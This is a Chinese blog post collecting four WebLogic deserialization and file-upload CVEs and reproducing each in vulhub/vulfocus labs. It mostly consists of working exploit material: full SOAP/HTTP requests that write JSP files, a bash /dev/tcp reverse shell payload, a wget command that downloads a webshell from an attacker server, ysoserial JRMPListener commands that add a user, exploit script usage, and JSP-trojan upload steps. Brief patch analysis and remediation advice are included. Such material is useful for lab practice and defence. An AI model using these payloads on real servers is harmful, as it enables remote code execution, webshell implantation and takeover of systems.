WebLogic历史漏洞汇总与复现
Posted 码啊码
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WebLogic历史漏洞汇总与复现相关的知识,希望对你有一定的参考价值。
前言:WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。默认端口:7001
目录
一、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
二、Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)
三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
四、Weblogic 任意文件上传漏洞(CVE-2018-2894)
一、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
1.漏洞介绍
1.1影响版本
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
1.2漏洞原理
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
1.3漏洞利用
访问 /wls-wsat/CoordinatorPortType,返回如下页面,则可能存在此漏洞。
注意:漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。 只要是在wls-wsat包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri路径
默认受到影响的Uri如下:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
2.漏洞复现
使用vulhub的靶场
访问 /wls-wsat/CoordinatorPortType,返回漏洞利用条件页面,说明可能存在漏洞了
构造post请求包写入文件:
POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 目标ip:port
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 522
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问/bea_wls_internal/test.jsp已成功写入
使用nc监听端口,构造POST包进行反弹shell(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)
POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 网站的ip:port
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 639
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >&/dev/tcp/要反弹shell的ip/端口 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
开启nc监听
nc -lvvp 要监听的端口
发送POST请求
成功反弹shell
CVE-2017-3506与CVE-2017-10271的利用方法一样,只是3506加了验证函数补丁,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否存在object 。
private void validate(InputStream is)
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
SAXParser parser =factory.newSAXParser();
parser.parse(is, newDefaultHandler()
public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException
if(qName.equalsIgnoreCase("object"))
throw new IllegalStateException("Invalid context type: object");
);
catch(ParserConfigurationException var5)
throw new IllegalStateException("Parser Exception", var5);
catch (SAXExceptionvar6)
throw new IllegalStateException("Parser Exception", var6);
catch (IOExceptionvar7)
throw new IllegalStateException("Parser Exception", var7);
就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过,我们将object换成void就可绕过此补丁,产生了CVE-2017-10271
比如写入文件
3.修复建议:
1.安装补丁
2.或删除wls-wsat组件
二、Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)
1.漏洞概述
1.1影响版本
影响版本:
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
影响组件:
bea_wls9_async_response.war
wsat.war
1.2漏洞原理
由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。
1.访问 /_async/AsyncResponseService返回如下页面,即可能存在该漏洞
2.访问/_async/如果返回403,也可能存在漏洞
漏洞不仅存在于 /_async/AsyncResponseService 只要是在bea_wls9_async_response包中的Uri皆受到影响,可以查看web.xml得知所有受到影响的Uri
默认受影响的uri
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
wls-wsat.war组件受影响的URI见XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
此漏洞实际上是CVE-2017-10271的又一入口,那么它是怎么绕过CVE-2017-10271的补丁,执行REC的呢。 我们先来看一下CVE-2017-10271的补丁代码:
public void startElement(String uri, String localName, String qName, Attributesattributes)throws SAXException
if(qName.equalsIgnoreCase("object"))
throw new IllegalStateException("Invalid element qName:object");
else if(qName.equalsIgnoreCase("new"))
throw new IllegalStateException("Invalid element qName:new");
else if(qName.equalsIgnoreCase("method"))
throw new IllegalStateException("Invalid element qName:method");
else
if(qName.equalsIgnoreCase("void"))
for(int attClass = 0; attClass < attributes.getLength();++attClass)
if(!"index".equalsIgnoreCase(attributes.getQName(attClass)))
throw new IllegalStateException("Invalid attribute for elementvoid:" + attributes.getQName(attClass));
if(qName.equalsIgnoreCase("array"))
String var9 =attributes.getValue("class");
if(var9 != null &&!var9.equalsIgnoreCase("byte"))
throw new IllegalStateException("The value of class attribute is notvalid for array element.");
其中CVE-2017-3506的补丁是过滤了object,CVE-2017-10271的补丁是过滤了new,method标签,且void后面只能跟index,array后面可以跟class,但是必须要是byte类型的。
绕过CVE-2017-10271补丁是因为class标签未被过滤所导致的,这点我们可以从CVE-2019-2725的补丁看出来, CVE-2019-2725补丁新增部分内容,将class加入了黑名单,限制了array标签中的byte长度
else if (qName.equalsIgnoreCase("class"))
throw new IllegalStateException("Invalid element qName:class");
else
if (qName.equalsIgnoreCase("array"))
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte"))
throw new IllegalStateException("The value of class attribute is not valid for array element.");
String lengthString = attributes.getValue("length");
if (lengthString != null)
try
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH)
throw new IllegalStateException("Exceed array length limitation");
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH)
throw new IllegalStateException("Exceed over all array limitation.");
catch (NumberFormatException var8)
2.漏洞复现
使用vulfocus的在线靶场
访问 /_async/AsyncResponseService返回漏洞利用页面,即可能存在该漏洞
先把后门文件放到服务器,等下让目标下载该后门文件
构造post请求包
注意:有两种写入shell方法,本次使用第二种
第一种是放置在bea_wls9_async_response/8tpkys/war路径下,若在此路径放置,则使用链接http://172.17.16.77:7001/_async/shell.jsp访问webshell
第一种是放置在bea_wls_internal/9j4dqk/war路径下,若在此路径放置,则使用链接http://172.17.16.77:7001/bea_wls_internal/shell.jsp访问webshell
POST /_async/AsyncResponseService HTTP/1.1
Host: 目标ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 851
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
cmd:whoami
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://shell所在的服务器ip/shell.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
访问shell地址:/bea_wls_internal/shell.jsp?pwd=023&i=whoami
3.修复建议
1. 及时打上官方CVE-2019-2725补丁包。官方已于4月26日公布紧急补丁包
2.升级本地JDK版本
因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。
3.配置URL访问控制策略
部署于公网的WebLogic服务器,可通过ACL禁止对/_async/及/wls-wsat/路径的访问。
4.删除不安全文件
删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。具体文件路径如下
三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
1.漏洞概述
1.1影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
1.2漏洞原理
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启.
攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
2.漏洞复现
使用vulfocus在vulhub本地靶场
使用exploit的python利用脚本
使用ysoserial构造反序列化
1.使用ysoserial.jar,启动JRMP Server(ports是要监听的端口,command是要执行的命令)
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener port CommonsCollections1 command
如:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'
2.执行exploit.py
python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
如:
python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
结果如下:
3.修复建议
1.过滤t3协议。
在域结构中点击 安全->筛选器 连接筛选器填: weblogic.security.net.ConnectionFilterImpl 保存后重启Weblogic.
2.安装补丁。
四、Weblogic 任意文件上传漏洞(CVE-2018-2894)
1.漏洞概述
1.1影响版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
1.2漏洞原理
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,攻击者可通过访问此配置页面,用有效的WebLogic Web路径替换存储JKS Keystores的文件目录,然后上传恶意的JSP脚本木马文件。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制
2.漏洞复现
使用vulfocus在线靶场
访问 ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目录(访问这个目录是无需权限的)
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
然后点击 ‘安全’ -> ‘添加’ ,然后上传jsp木马
点击提交并抓包,获取响应数据包中的时间戳
然后访问 http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell
3.修复建议
启动生产模式, 编辑domain路径下的setDomainEnv.cmd文件,将set PRODUCTION_MODE= 更改为 set PRODUCTION_MODE=true 目前(2019/06/07) 生产模式下 已取消这两处上传文件的地方。
以上是关于WebLogic历史漏洞汇总与复现的主要内容,如果未能解决你的问题,请参考以下文章
安全-Weblogic 小于10.3.6版本WLS组件反序列化漏洞复现(vulhub)